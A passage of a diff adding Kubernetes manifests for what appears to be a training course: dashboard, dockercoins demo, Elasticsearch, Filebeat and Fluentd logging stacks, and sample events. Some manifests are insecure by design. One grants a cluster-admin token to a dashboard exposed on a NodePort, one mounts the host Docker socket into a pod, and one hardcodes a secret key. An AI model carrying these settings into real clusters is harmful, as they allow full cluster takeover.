+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: kubernetes-dashboard
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Service
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+    kubernetes.io/cluster-service: "true"
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  ports:
+  - name: https
+    port: 443
+    targetPort: https
+  selector:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/name: kubernetes-dashboard
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/component: kubernetes-dashboard
+      app.kubernetes.io/instance: kubernetes-dashboard
+      app.kubernetes.io/name: kubernetes-dashboard
+  strategy:
+    rollingUpdate:
+      maxSurge: 0
+      maxUnavailable: 1
+    type: RollingUpdate
+  template:
+    metadata:
+      annotations: null
+      labels:
+        app.kubernetes.io/component: kubernetes-dashboard
+        app.kubernetes.io/instance: kubernetes-dashboard
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/name: kubernetes-dashboard
+        app.kubernetes.io/version: 2.7.0
+        helm.sh/chart: kubernetes-dashboard-6.0.0
+    spec:
+      containers:
+      - args:
+        - --namespace=kubernetes-dashboard
+        - --auto-generate-certificates
+        - --sidecar-host=http://127.0.0.1:8000
+        image: kubernetesui/dashboard:v2.7.0
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 8443
+            scheme: HTTPS
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: kubernetes-dashboard
+        ports:
+        - containerPort: 8443
+          name: https
+          protocol: TCP
+        resources:
+          limits:
+            cpu: 2
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 200Mi
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /certs
+          name: kubernetes-dashboard-certs
+        - mountPath: /tmp
+          name: tmp-volume
+      - image: kubernetesui/metrics-scraper:v1.0.8
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 8000
+            scheme: HTTP
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: dashboard-metrics-scraper
+        ports:
+        - containerPort: 8000
+          protocol: TCP
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /tmp
+          name: tmp-volume
+      securityContext:
+        seccompProfile:
+          type: RuntimeDefault
+      serviceAccountName: kubernetes-dashboard
+      volumes:
+      - name: kubernetes-dashboard-certs
+        secret:
+          secretName: kubernetes-dashboard-certs
+      - emptyDir: {}
+        name: tmp-volume

k8s/dashboard-with-token.yaml

@@ -0,0 +1,355 @@
+# This file was generated with the script ./update-dashboard-yaml.sh.
+#
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard
+spec: {}
+status: {}
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-certs
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-csrf
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-key-holder
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+data: null
+kind: ConfigMap
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-settings
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-metrics
+rules:
+- apiGroups:
+  - metrics.k8s.io
+  resources:
+  - pods
+  - nodes
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard-metrics
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: kubernetes-dashboard-metrics
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+rules:
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-key-holder
+  - kubernetes-dashboard-certs
+  - kubernetes-dashboard-csrf
+  resources:
+  - secrets
+  verbs:
+  - get
+  - update
+  - delete
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-settings
+  resources:
+  - configmaps
+  verbs:
+  - get
+  - update
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - dashboard-metrics-scraper
+  resources:
+  - services
+  verbs:
+  - proxy
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - 'http:heapster:'
+  - 'https:heapster:'
+  - dashboard-metrics-scraper
+  - http:dashboard-metrics-scraper
+  resources:
+  - services/proxy
+  verbs:
+  - get
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: kubernetes-dashboard
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Service
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+    kubernetes.io/cluster-service: "true"
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  ports:
+  - name: https
+    port: 443
+    targetPort: https
+  selector:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/name: kubernetes-dashboard
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.7.0
+    helm.sh/chart: kubernetes-dashboard-6.0.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/component: kubernetes-dashboard
+      app.kubernetes.io/instance: kubernetes-dashboard
+      app.kubernetes.io/name: kubernetes-dashboard
+  strategy:
+    rollingUpdate:
+      maxSurge: 0
+      maxUnavailable: 1
+    type: RollingUpdate
+  template:
+    metadata:
+      annotations: null
+      labels:
+        app.kubernetes.io/component: kubernetes-dashboard
+        app.kubernetes.io/instance: kubernetes-dashboard
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/name: kubernetes-dashboard
+        app.kubernetes.io/version: 2.7.0
+        helm.sh/chart: kubernetes-dashboard-6.0.0
+    spec:
+      containers:
+      - args:
+        - --namespace=kubernetes-dashboard
+        - --auto-generate-certificates
+        - --sidecar-host=http://127.0.0.1:8000
+        image: kubernetesui/dashboard:v2.7.0
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 8443
+            scheme: HTTPS
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: kubernetes-dashboard
+        ports:
+        - containerPort: 8443
+          name: https
+          protocol: TCP
+        resources:
+          limits:
+            cpu: 2
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 200Mi
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /certs
+          name: kubernetes-dashboard-certs
+        - mountPath: /tmp
+          name: tmp-volume
+      - image: kubernetesui/metrics-scraper:v1.0.8
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 8000
+            scheme: HTTP
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: dashboard-metrics-scraper
+        ports:
+        - containerPort: 8000
+          protocol: TCP
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /tmp
+          name: tmp-volume
+      securityContext:
+        seccompProfile:
+          type: RuntimeDefault
+      serviceAccountName: kubernetes-dashboard
+      volumes:
+      - name: kubernetes-dashboard-certs
+        secret:
+          secretName: kubernetes-dashboard-certs
+      - emptyDir: {}
+        name: tmp-volume
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard:cluster-admin
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: cluster-admin
+subjects:
+- kind: ServiceAccount
+  name: cluster-admin
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  creationTimestamp: null
+  name: cluster-admin
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Secret
+type: kubernetes.io/service-account-token
+metadata:
+  name: cluster-admin-token
+  namespace: kubernetes-dashboard
+  annotations:
+    kubernetes.io/service-account.name: cluster-admin

k8s/docker-build.yaml

@@ -0,0 +1,27 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: build-image
+spec:
+  restartPolicy: OnFailure
+  containers:
+  - name: docker-build
+    image: docker
+    env:
+    - name: REGISTRY_PORT
+      value: #"30000"
+    command: ["sh", "-c"]
+    args:
+    - |
+      apk add --no-cache git &&
+      mkdir /workspace &&
+      git clone https://github.com/jpetazzo/container.training /workspace &&
+      docker build -t localhost:$REGISTRY_PORT/worker /workspace/dockercoins/worker &&
+      docker push localhost:$REGISTRY_PORT/worker
+    volumeMounts:
+    - name: docker-socket
+      mountPath: /var/run/docker.sock
+  volumes:
+  - name: docker-socket
+    hostPath:
+      path: /var/run/docker.sock

k8s/dockercoins.yaml

@@ -0,0 +1,160 @@
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: hasher
+  template:
+    metadata:
+      labels:
+        app: hasher
+    spec:
+      containers:
+      - image: dockercoins/hasher:v0.1
+        name: hasher
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: hasher
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: redis
+  template:
+    metadata:
+      labels:
+        app: redis
+    spec:
+      containers:
+      - image: redis
+        name: redis
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  ports:
+  - port: 6379
+    protocol: TCP
+    targetPort: 6379
+  selector:
+    app: redis
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: rng
+  template:
+    metadata:
+      labels:
+        app: rng
+    spec:
+      containers:
+      - image: dockercoins/rng:v0.1
+        name: rng
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rng
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: webui
+  template:
+    metadata:
+      labels:
+        app: webui
+    spec:
+      containers:
+      - image: dockercoins/webui:v0.1
+        name: webui
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: webui
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: worker
+  name: worker
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: worker
+  template:
+    metadata:
+      labels:
+        app: worker
+    spec:
+      containers:
+      - image: dockercoins/worker:v0.1
+        name: worker

k8s/eck-cerebro.yaml

@@ -0,0 +1,69 @@
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: cerebro
+  name: cerebro
+spec:
+  selector:
+    matchLabels:
+      app: cerebro
+  template:
+    metadata:
+      labels:
+        app: cerebro
+    spec:
+      volumes:
+      - name: conf
+        configMap:
+          name: cerebro
+      containers:
+      - image: lmenezes/cerebro
+        name: cerebro
+        volumeMounts:
+        - name: conf
+          mountPath: /conf
+        args:
+        - -Dconfig.file=/conf/application.conf
+        env:
+        - name: ELASTICSEARCH_PASSWORD
+          valueFrom:
+            secretKeyRef:
+              name: demo-es-elastic-user
+              key: elastic
+
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: cerebro
+  name: cerebro
+spec:
+  ports:
+  - port: 9000
+    protocol: TCP
+    targetPort: 9000
+  selector:
+    app: cerebro
+  type: NodePort
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: cerebro
+data:
+  application.conf: |
+    secret = "ki:s:[[@=Ag?QI`W2jMwkY:eqvrJ]JqoJyi2axj3ZvOv^/KavOT4ViJSv?6YY4[N"
+
+    hosts = [
+      {
+        host = "http://demo-es-http.eck-demo.svc.cluster.local:9200"
+        name = "demo"
+        auth = {
+          username = "elastic"
+          password = ${?ELASTICSEARCH_PASSWORD}
+        }
+      }
+    ]

k8s/eck-elasticsearch.yaml

@@ -0,0 +1,19 @@
+apiVersion: elasticsearch.k8s.elastic.co/v1
+kind: Elasticsearch
+metadata:
+  name: demo
+  namespace: eck-demo
+spec:
+  http:
+    tls:
+      selfSignedCertificate:
+        disabled: true
+  nodeSets:
+  - name: default
+    count: 1
+    config:
+      node.data: true
+      node.ingest: true
+      node.master: true
+      node.store.allow_mmap: false
+  version: 7.5.1

k8s/eck-filebeat.yaml

@@ -0,0 +1,168 @@
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: filebeat-config
+  namespace: eck-demo
+  labels:
+    k8s-app: filebeat
+data:
+  filebeat.yml: |-
+    filebeat.inputs:
+    - type: container
+      paths:
+        - /var/log/containers/*.log
+      processors:
+        - add_kubernetes_metadata:
+            host: ${NODE_NAME}
+            matchers:
+            - logs_path:
+                logs_path: "/var/log/containers/"
+
+    # To enable hints based autodiscover, remove `filebeat.inputs` configuration and uncomment this:
+    #filebeat.autodiscover:
+    #  providers:
+    #    - type: kubernetes
+    #      node: ${NODE_NAME}
+    #      hints.enabled: true
+    #      hints.default_config:
+    #        type: container
+    #        paths:
+    #          - /var/log/containers/*${data.kubernetes.container.id}.log
+
+    processors:
+      - add_cloud_metadata:
+      - add_host_metadata:
+
+    cloud.id: ${ELASTIC_CLOUD_ID}
+    cloud.auth: ${ELASTIC_CLOUD_AUTH}
+
+    output.elasticsearch:
+      hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
+      username: ${ELASTICSEARCH_USERNAME}
+      password: ${ELASTICSEARCH_PASSWORD}
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: filebeat
+  namespace: eck-demo
+  labels:
+    k8s-app: filebeat
+spec:
+  selector:
+    matchLabels:
+      k8s-app: filebeat
+  template:
+    metadata:
+      labels:
+        k8s-app: filebeat
+    spec:
+      serviceAccountName: filebeat
+      terminationGracePeriodSeconds: 30
+      hostNetwork: true
+      dnsPolicy: ClusterFirstWithHostNet
+      containers:
+      - name: filebeat
+        image: docker.elastic.co/beats/filebeat:7.5.1
+        args: [
+          "-c", "/etc/filebeat.yml",
+          "-e",
+        ]
+        env:
+        - name: ELASTICSEARCH_HOST
+          value: demo-es-http
+        - name: ELASTICSEARCH_PORT
+          value: "9200"
+        - name: ELASTICSEARCH_USERNAME
+          value: elastic
+        - name: ELASTICSEARCH_PASSWORD
+          valueFrom:
+            secretKeyRef:
+              name: demo-es-elastic-user
+              key: elastic
+        - name: ELASTIC_CLOUD_ID
+          value:
+        - name: ELASTIC_CLOUD_AUTH
+          value:
+        - name: NODE_NAME
+          valueFrom:
+            fieldRef:
+              fieldPath: spec.nodeName
+        securityContext:
+          runAsUser: 0
+          # If using Red Hat OpenShift uncomment this:
+          #privileged: true
+        resources:
+          limits:
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 100Mi
+        volumeMounts:
+        - name: config
+          mountPath: /etc/filebeat.yml
+          readOnly: true
+          subPath: filebeat.yml
+        - name: data
+          mountPath: /usr/share/filebeat/data
+        - name: varlibdockercontainers
+          mountPath: /var/lib/docker/containers
+          readOnly: true
+        - name: varlog
+          mountPath: /var/log
+          readOnly: true
+      volumes:
+      - name: config
+        configMap:
+          defaultMode: 0600
+          name: filebeat-config
+      - name: varlibdockercontainers
+        hostPath:
+          path: /var/lib/docker/containers
+      - name: varlog
+        hostPath:
+          path: /var/log
+      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
+      - name: data
+        hostPath:
+          path: /var/lib/filebeat-data
+          type: DirectoryOrCreate
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: filebeat
+subjects:
+- kind: ServiceAccount
+  name: filebeat
+  namespace: eck-demo
+roleRef:
+  kind: ClusterRole
+  name: filebeat
+  apiGroup: rbac.authorization.k8s.io
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: filebeat
+  labels:
+    k8s-app: filebeat
+rules:
+- apiGroups: [""] # "" indicates the core API group
+  resources:
+  - namespaces
+  - pods
+  verbs:
+  - get
+  - watch
+  - list
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: filebeat
+  namespace: eck-demo
+  labels:
+    k8s-app: filebeat
+---

k8s/eck-kibana.yaml

@@ -0,0 +1,17 @@
+apiVersion: kibana.k8s.elastic.co/v1
+kind: Kibana
+metadata:
+  name: demo
+spec:
+  version: 7.5.1
+  count: 1
+  elasticsearchRef:
+    name: demo
+    namespace: eck-demo
+  http:
+    service:
+      spec:
+        type: NodePort
+    tls:
+      selfSignedCertificate:
+        disabled: true

k8s/efk.yaml

@@ -0,0 +1,176 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: fluentd
+  namespace: default
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: fluentd
+rules:
+- apiGroups:
+  - ""
+  resources:
+  - pods
+  - namespaces
+  verbs:
+  - get
+  - list
+  - watch
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: fluentd
+roleRef:
+  kind: ClusterRole
+  name: fluentd
+  apiGroup: rbac.authorization.k8s.io
+subjects:
+- kind: ServiceAccount
+  name: fluentd
+  namespace: default
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: fluentd
+  namespace: default
+  labels:
+    app: fluentd
+spec:
+  selector:
+    matchLabels:
+      app: fluentd
+  template:
+    metadata:
+      labels:
+        app: fluentd
+    spec:
+      serviceAccount: fluentd
+      serviceAccountName: fluentd
+      tolerations:
+      - key: node-role.kubernetes.io/master
+        effect: NoSchedule
+      containers:
+      - name: fluentd
+        image: fluent/fluentd-kubernetes-daemonset:v1.4-debian-elasticsearch-1
+        env:
+          - name:  FLUENT_ELASTICSEARCH_HOST
+            value: "elasticsearch"
+          - name:  FLUENT_ELASTICSEARCH_PORT
+            value: "9200"
+          - name: FLUENT_ELASTICSEARCH_SCHEME
+            value: "http"
+          - name: FLUENT_UID
+            value: "0"
+          - name: FLUENTD_SYSTEMD_CONF
+            value: "disable"
+          - name: FLUENTD_PROMETHEUS_CONF
+            value: "disable"
+        resources:
+          limits:
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 200Mi
+        volumeMounts:
+        - name: varlog
+          mountPath: /var/log
+        - name: varlibdockercontainers
+          mountPath: /var/lib/docker/containers
+          readOnly: true
+      terminationGracePeriodSeconds: 30
+      volumes:
+      - name: varlog
+        hostPath:
+          path: /var/log
+      - name: varlibdockercontainers
+        hostPath:
+          path: /var/lib/docker/containers
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: elasticsearch
+  name: elasticsearch
+  namespace: default
+spec:
+  selector:
+    matchLabels:
+      app: elasticsearch
+  template:
+    metadata:
+      labels:
+        app: elasticsearch
+    spec:
+      containers:
+      - image: elasticsearch:5
+        name: elasticsearch
+        resources:
+          limits:
+            memory: 2Gi
+          requests:
+            memory: 1Gi
+        env:
+        - name: ES_JAVA_OPTS
+          value: "-Xms1g -Xmx1g"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: elasticsearch
+  name: elasticsearch
+  namespace: default
+spec:
+  ports:
+  - port: 9200
+    protocol: TCP
+    targetPort: 9200
+  selector:
+    app: elasticsearch
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: kibana
+  name: kibana
+  namespace: default
+spec:
+  selector:
+    matchLabels:
+      app: kibana
+  template:
+    metadata:
+      labels:
+        app: kibana
+    spec:
+      containers:
+      - env:
+        - name: ELASTICSEARCH_URL
+          value: http://elasticsearch:9200/
+        image: kibana:5
+        name: kibana
+        resources: {}
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: kibana
+  name: kibana
+  namespace: default
+spec:
+  ports:
+  - port: 5601
+    protocol: TCP
+    targetPort: 5601
+  selector:
+    app: kibana
+  type: NodePort

k8s/elasticsearch-cluster.yaml

@@ -0,0 +1,20 @@
+apiVersion: enterprises.upmc.com/v1
+kind: ElasticsearchCluster
+metadata:
+  name: es
+spec:
+  kibana:
+    image: docker.elastic.co/kibana/kibana-oss:6.1.3
+    image-pull-policy: Always
+  cerebro:
+    image: upmcenterprises/cerebro:0.7.2
+    image-pull-policy: Always
+  elastic-search-image: upmcenterprises/docker-elasticsearch-kubernetes:6.1.3_0
+  image-pull-policy: Always
+  client-node-replicas: 2
+  master-node-replicas: 3
+  data-node-replicas: 3
+  network-host: 0.0.0.0
+  use-ssl: false
+  data-volume-size: 10Gi
+  java-options: "-Xms512m -Xmx512m"

k8s/elasticsearch-operator.yaml

@@ -0,0 +1,97 @@
+# This is mirrored from https://github.com/upmc-enterprises/elasticsearch-operator/blob/master/example/controller.yaml but using the elasticsearch-operator namespace instead of operator
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: elasticsearch-operator
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: elasticsearch-operator
+rules:
+- apiGroups: ["extensions"]
+  resources: ["deployments", "replicasets", "daemonsets"]
+  verbs: ["create", "get", "update", "delete", "list"]
+- apiGroups: ["apiextensions.k8s.io"]
+  resources: ["customresourcedefinitions"]
+  verbs: ["create", "get", "update", "delete", "list"]
+- apiGroups: ["storage.k8s.io"]
+  resources: ["storageclasses"]
+  verbs: ["get", "list", "create", "delete", "deletecollection"]
+- apiGroups: [""]
+  resources: ["persistentvolumes", "persistentvolumeclaims", "services", "secrets", "configmaps"]
+  verbs: ["create", "get", "update", "delete", "list"]
+- apiGroups: ["batch"]
+  resources: ["cronjobs", "jobs"]
+  verbs: ["create", "get", "deletecollection", "delete"]
+- apiGroups: [""]
+  resources: ["pods"]
+  verbs: ["list", "get", "watch"]
+- apiGroups: ["apps"]
+  resources: ["statefulsets", "deployments"]
+  verbs: ["*"]
+- apiGroups: ["enterprises.upmc.com"]
+  resources: ["elasticsearchclusters"]
+  verbs: ["*"]
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: elasticsearch-operator
+subjects:
+- kind: ServiceAccount
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: elasticsearch-operator
+  namespace: elasticsearch-operator
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      name: elasticsearch-operator
+  template:
+    metadata:
+      labels:
+        name: elasticsearch-operator
+    spec:
+      containers:
+      - name: operator
+        image: upmcenterprises/elasticsearch-operator:0.2.0
+        imagePullPolicy: Always
+        env:
+        - name: NAMESPACE
+          valueFrom:
+            fieldRef:
+              fieldPath: metadata.namespace
+        ports:
+        - containerPort: 8000
+          name: http
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8000
+          initialDelaySeconds: 10
+          timeoutSeconds: 10
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8000
+          initialDelaySeconds: 10
+          timeoutSeconds: 5
+      serviceAccount: elasticsearch-operator

k8s/event-node.yaml

@@ -0,0 +1,29 @@
+kind: Event
+apiVersion: v1
+metadata:
+  generateName: hello-
+  labels:
+    container.training/test: ""
+
+#eventTime: "2020-07-04T00:00:00.000000Z"
+#firstTimestamp: "2020-01-01T00:00:00.000000Z"
+#lastTimestamp: "2020-12-31T00:00:00.000000Z"
+#count: 42
+
+involvedObject:
+  kind: Node
+  apiVersion: v1
+  name: kind-control-plane
+  # Note: the uid should be the Node name (not the uid of the Node).
+  # This might be specific to global objects.
+  uid: kind-control-plane
+
+type: Warning
+reason: NodeOverheat
+message: "Node temperature exceeds critical threshold"
+action: Hello
+source:
+  component: thermal-probe
+  #host: node1
+#reportingComponent: ""
+#reportingInstance: ""

k8s/event-pod.yaml

@@ -0,0 +1,35 @@
+kind: Event
+apiVersion: v1
+metadata:
